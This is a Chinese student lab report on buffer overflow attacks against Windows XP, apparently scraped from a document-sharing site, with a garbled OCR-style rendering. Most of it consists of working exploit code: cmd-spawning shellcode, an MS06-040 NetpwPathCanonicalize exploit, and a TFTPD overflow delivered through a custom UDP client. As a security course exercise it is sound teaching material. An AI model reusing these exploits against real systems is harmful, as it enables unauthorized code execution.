实验四缓冲区溢出攻击技术.doc

上传人:小** 文档编号:3014230 上传时间:2020-06-21 格式:DOC 页数:20 大小:357.77KB
返回 下载 相关 举报
实验四缓冲区溢出攻击技术.doc_第1页
第1页 / 共20页
实验四缓冲区溢出攻击技术.doc_第2页
第2页 / 共20页
点击查看更多>>
资源描述

《实验四缓冲区溢出攻击技术.doc》由会员分享,可在线阅读,更多相关《实验四缓冲区溢出攻击技术.doc(20页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、,.实验单元四. 缓冲区溢出攻击技术一、实验目的和要求1. 掌握缓冲区溢出的原理;2. 掌握缓冲区溢出漏洞的利用技巧;3. 理解缓冲区溢出漏洞的防范措施。二、实验内容和原理缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的根本原因是程序中缺少错误检测。当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户 shell,再通过 shell 执行其它命令。如果该程序属于 root

2、,攻击者就获得了一个有 root 权限的 shell,可以对系统进行任意操作。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。三、实验项目缓冲区溢出产生cmd窗口;改写函数返回地址;shellcode的编写;shellcode的植入。四、实验所需软硬件1)仪器设备条件:PC及其

3、网络环境;2)物质条件:Windows XP SP3、Linux、Gcc、Visual C+ 6.0 编译器等,OllyDbg; 3)相关文献资料:课件及网上收集的资料。五、操作方法与实验步骤1. 缓冲区溢出漏洞产生的的基本原理和攻击方法n 缓冲区溢出模拟程序程序源代码如下:#include string.h#include stdio.h#include/char name=AAAAAAAAAAAAAAAA;char name=AAAAAAAAAAAAABCD;int main()char output8;strcpy(output, name);/内存拷贝,如果name长度超过8,则出现缓

4、冲区溢出for(int i=0;i8&outputi;i+) printf(0x%x,outputi);printf(n);return 0;运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。n 运行命令窗口的shellcodeshellcode测试代码如下:#include string.h#include stdio.h#includechar name= x41x41x41x41 x41x41x41x41 x41x41x41x41 /覆盖ebp x12x45xfax7f /

5、覆盖eip, jmp esp地址7ffa4512 x55x8bxecx33xc0x50x50x50xc6x45xf4x6d xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63 xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c x8dx45xf4x50xb8 x77x1dx80x7c / LoadLibraryW的地址 xffxd0 x55x8bxecx33xffx57x57x57xc6x45xf4x73 xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72

6、 xc6x45xf8x74xc6x45xf9x20xc6x45xfax63 xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57 xba xc7x93xbfx77 / System 的地址 xffxd2; int main()char output8;strcpy(output, name);for(int i=0;i8&outputi;i+) printf(0x%x,outputi);printf(n);return 0;shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellc

7、ode代码。该shellcode,运行命令窗口。2. MS06-040 缓冲区溢出漏洞分析和利用n 溢出点定位溢出点定位源代码#include typedef void (*MYPROC)(LPTSTR);int main()char arg_10x320;char arg_20x440;int arg_3=0x440;char arg_40x100;long arg_5=44;int i=0; HINSTANCE LibHandle;MYPROC Trigger;char dll = ./netapi32.dll; char VulFunc = NetpwPathCanonicalize;L

8、ibHandle = LoadLibrary(dll);/加载当前目录的netapi32.dllTrigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);/获得NetpwPathCanonicalize的调用地址/填充参数memset(arg_1,0,sizeof(arg_1);/先清零内存memset(arg_1,a,sizeof(arg_1)-2);/必须使用null结束符,填充aarg_1792=c;arg_1793=c;arg_1794=c;arg_1795=c;memset(arg_4,0,sizeof(arg_4);/先清零内存me

9、mset(arg_4,b,sizeof(arg_4)-2);/必须使用null结束符,填充b(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);/调用NetpwPathCanonicalizeFreeLibrary(LibHandle);return 0;程序运行效果如下:可以看到错误访问地址为63636363,即为c的编码,所以成功得定位了溢出点。n 漏洞利用漏洞利用的源代码如下:#include typedef void (*MYPROC)(LPTSTR);char shellcode=xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx

10、68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx

11、75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8;int main()char arg_10x320;char arg_20x440;int arg_3=0x440;char arg_40x100;long arg_5=44;HINSTANCE LibHandle;MYPROC Trigger;char d

12、ll = ./netapi32.dll; char VulFunc = NetpwPathCanonicalize;LibHandle = LoadLibrary(dll);Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);memset(arg_1,0,sizeof(arg_1);memset(arg_1,0x90,sizeof(arg_1)-2);memset(arg_4,0,sizeof(arg_4);memset(arg_4,a,sizeof(arg_4)-2);memcpy(arg_4,shellcode,168);arg_10

13、x318=0xF9;/ CALL ECX 的地址arg_10x319=0x52;arg_10x31A=0x18;arg_10x31B=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);漏洞利用的效果如下:可以看到成功的利用该漏洞,弹出了一个对话框。3. TFTPD溢出漏洞分析与利用n 溢出点定位1.构造FUZZtftp 127.0.0.1 get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

14、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFUZZ中包含288个A,这个值是通过多次测试获得的, 运行效果如下,可以看到发生了溢出:2.确定溢出点 采用284个A+1234的fuzz,运行效果如下:可以看到程序转到了343

15、33231,溢出点定位成功。3.程序中溢出点定位使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom, 如下所示:从这里找到recvfrom函数的位置,在此设置断点:然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。n 溢出漏洞利用分析首先肯定是想到

16、利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:POP XRET代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:这样就可以构造如下的shellc

17、ode:x55x8bxecx33xc0x50x50x50xc6x45xf4x6d / 12 xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63 / 24 xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e / 36 xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c / 48 x8dx45xf4x50xb8 / 53 x77x1dx80x7c / LoadLibraryW的地址 / 57 xffxd0 / 59 x55x8bxecx33xffx57x57x57xc6x45xf4x73 / 71xc6x45xf5x74xc6x45

18、xf6x61xc6x45xf7x72 / 83 xc6x45xf8x74xc6x45xf9x20xc6x45xfax63 / 95 xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57 / 107xba / 108 xc7x93xbfx77 / System 的地址 / 112 xffxd2 / 114 x90x90x90x90 / 118x90x90x90x90x90x90x90x90x90x90/ 128x90x90x90x90x90x90x90x90x90x90/ 138x90x90x90x90x90x90x90x90x90x90/ 148x90x90x90x90x9

19、0x90x90x90x90x90/ 158x90x90x90x90x90x90x90x90x90x90/ 168x90x90x90x90x90x90x90x90x90x90/ 178x90x90x90x90x90x90x90x90x90x90/ 188x90x90x90x90x90x90x90x90x90x90/ 198x90x90x90x90x90x90x90x90x90x90/ 208x90x90x90x90x90x90x90x90x90x90/ 218x90x90x90x90x90x90x90x90x90x90/ 228x90x90x90x90x90x90x90x90x90x90/ 23

20、8x90x90x90x90x90x90x90x90x90x90/ 248x90x90x90x90x90x90x90x90x90x90/ 258x90x90x90x90x90x90x90x90x90x90/ 268x90x90x90x90x90x90x90x90x90x90/ 278x90x90x90x90x90x90 / 284xB0x01xFCx7F / EIP地址 / 288该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。n 漏洞利用直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下28

21、4个A + 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:#include #include #include / 弹出命令框的Shell长度#define CMD_SHELL_LENGTH 300/ 弹出命令框的shellcodechar cmdshellCMD_SHELL_LENGTH + 1= x00x01 / 2x55x8bxecx33xc0x50x50x50xc6x45xf4x6d / 14 xc6x45xf5x73xc

22、6x45xf6x76xc6x45xf7x63 / 26 xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e / 38 xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c / 50 x8dx45xf4x50xb8 / 55 x77x1dx80x7c / LoadLibraryW的地址 / 59 xffxd0 / 61 x55x8bxecx33xffx57x57x57xc6x45xf4x73 / 73xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72 / 85 xc6x45xf8x74xc6x45xf9x20xc6x45xfax63

23、 / 97 xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57 / 109xba / 110 xc7x93xbfx77 / System 的地址 / 114 xffxd2 / 116 x90x90x90x90 / 120x90x90x90x90x90x90x90x90x90x90/ 130x90x90x90x90x90x90x90x90x90x90/ 140x90x90x90x90x90x90x90x90x90x90/ 150x90x90x90x90x90x90x90x90x90x90/ 160x90x90x90x90x90x90x90x90x90x90/ 170x90x

24、90x90x90x90x90x90x90x90x90/ 180x90x90x90x90x90x90x90x90x90x90/ 190x90x90x90x90x90x90x90x90x90x90/ 200x90x90x90x90x90x90x90x90x90x90/ 210x90x90x90x90x90x90x90x90x90x90/ 220x90x90x90x90x90x90x90x90x90x90/ 230x90x90x90x90x90x90x90x90x90x90/ 240x90x90x90x90x90x90x90x90x90x90/ 250x90x90x90x90x90x90x90x90

25、x90x90/ 260x90x90x90x90x90x90x90x90x90x90/ 270x90x90x90x90x90x90x90x90x90x90/ 280x90x90x90x90x90x90 / 286xB0x01xFCx7F / EIP地址 / 290 x0netasciix0; / 300void main()WORD wVersionRequested; / 版本数据 WSADATA wsaData; / 初始化数据 int err; / 返回错误码/ 初始化版本字段 wVersionRequested = MAKEWORD(2,2);/ 初始化库 err = WSAStartu

26、p(wVersionRequested,&wsaData); if(err != 0) return; if(LOBYTE(wsaData.wVersion) != 2 | HIBYTE(wsaData.wHighVersion) != 2) WSACleanup(); return ; / 构造SOCKET SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0); / 初始化地址字段 SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr=inet_addr(127.0.0.1); addrSrv.sin_fa

27、mily=AF_INET; addrSrv.sin_port=htons(69);/ 发送shellcodesendto(sockClient,cmdshell,CMD_SHELL_LENGTH,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR); / 关闭套接字 closesocket(sockClient);/ 清理库信息 WSACleanup(); 运行该代码的效果如下:这样就成功的利用了该漏洞。六、问题与建议实验中遇到一些问题如下:1. 溢出点定位时遇到的问题溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符,因为我发现有292个字符时,产生了EIP的跳转,而实际上这是由于参数异常引起的,后来在同学的提醒在才意识到这个问题。2. 溢出利用时的问题溢出漏洞利用时,这里不能用JMP ESP,我开始就想这怎么利用呢?后来在同学的帮助下,意识到可以巧妙的利用第二个参数跳转,后来发现这个利用思路真的是很巧妙。利用时的另一个问题是非法字符不能通过命令行直接发送,这样必须自己实现tftp客户端。3. 实验心得通过实验,我对缓冲区溢出漏洞有了一个比较清晰的认识。对利用的方法也有了一个比较详细的了解,可以说获益匪浅。

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 技术资料 > 其他杂项

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com